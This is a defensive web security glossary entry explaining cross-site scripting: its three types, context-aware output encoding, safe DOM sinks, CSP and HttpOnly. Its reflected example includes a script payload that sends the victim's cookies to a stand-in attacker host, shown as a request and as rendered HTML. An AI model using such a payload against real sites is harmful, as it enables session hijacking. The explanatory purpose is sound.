# XSS (Cross-Site Scripting)

> XSS lets an attacker run JavaScript in your page by getting untrusted input rendered as code. Learn the three types, real examples, CSP and HttpOnly limits.

Source: https://howhttpworks.com/glossary/xss
Last reviewed: 2026-10-04

> **TL;DR:** XSS means attacker-controlled data ends up executed as code in your page. Fix it by encoding output for its context and avoiding dangerous DOM sinks; use CSP and `HttpOnly` to limit the blast radius.

Cross-site scripting (XSS) is a vulnerability in which an application includes untrusted data in a web page without proper handling, so the browser runs it as script. The injected code executes in your site's origin, with access to the DOM, same-origin requests and any non-`HttpOnly` cookies.

## A reflected example

A search page echoes the query into HTML without encoding:

```http
GET /search?q=%3Cscript%3Efetch('https://evil.example/?c='%2Bdocument.cookie)%3C/script%3E HTTP/1.1
Host: shop.example
```

```html
<h1>Results for <script>fetch('https://evil.example/?c='+document.cookie)</script></h1>
```

Encoded properly, the same input is rendered as text: `&lt;script&gt;...`.

## The three kinds

- **Stored:** the payload is saved (a comment, a profile field) and served to every viewer.
- **Reflected:** the payload travels in the request (query string, form field) and is echoed back in that one response.
- **DOM-based:** the server response is harmless, but client code writes data from `location`, `postMessage` or storage into a sink like `innerHTML`.

## Non-obvious facts

- **Encoding depends on context.** HTML body, attribute, JavaScript string, URL and CSS each need different escaping. One "sanitize" function used everywhere is a common source of bypasses.
- **Prefer safe sinks.** `textContent` instead of `innerHTML`; if you need HTML, sanitize with a maintained library such as DOMPurify.
- **CSP can stop injected inline script.** A policy such as `Content-Security-Policy: script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none'` refuses scripts without the nonce, but a CSP with `'unsafe-inline'` or broad allowlists does little.
- **`HttpOnly` limits theft, not abuse.** An attacker can still perform actions as the user from inside the page.
- **`X-XSS-Protection` is obsolete.** Chrome removed its XSS Auditor in version 78 and the header can introduce issues in old browsers; use CSP instead.
- **XSS defeats CSRF defenses.** Script running in your origin can read CSRF tokens, so fixing XSS is a prerequisite for every other client-side protection.

## Go deeper

- [Content-Security-Policy header](https://howhttpworks.com/headers/content-security-policy)
- [HttpOnly cookie attribute](https://howhttpworks.com/cookies/http-only)
- [Cookie security guide](https://howhttpworks.com/guides/cookie-security)
- [X-XSS-Protection (deprecated)](https://howhttpworks.com/headers/x-xss-protection)
- [CSRF](https://howhttpworks.com/glossary/csrf)
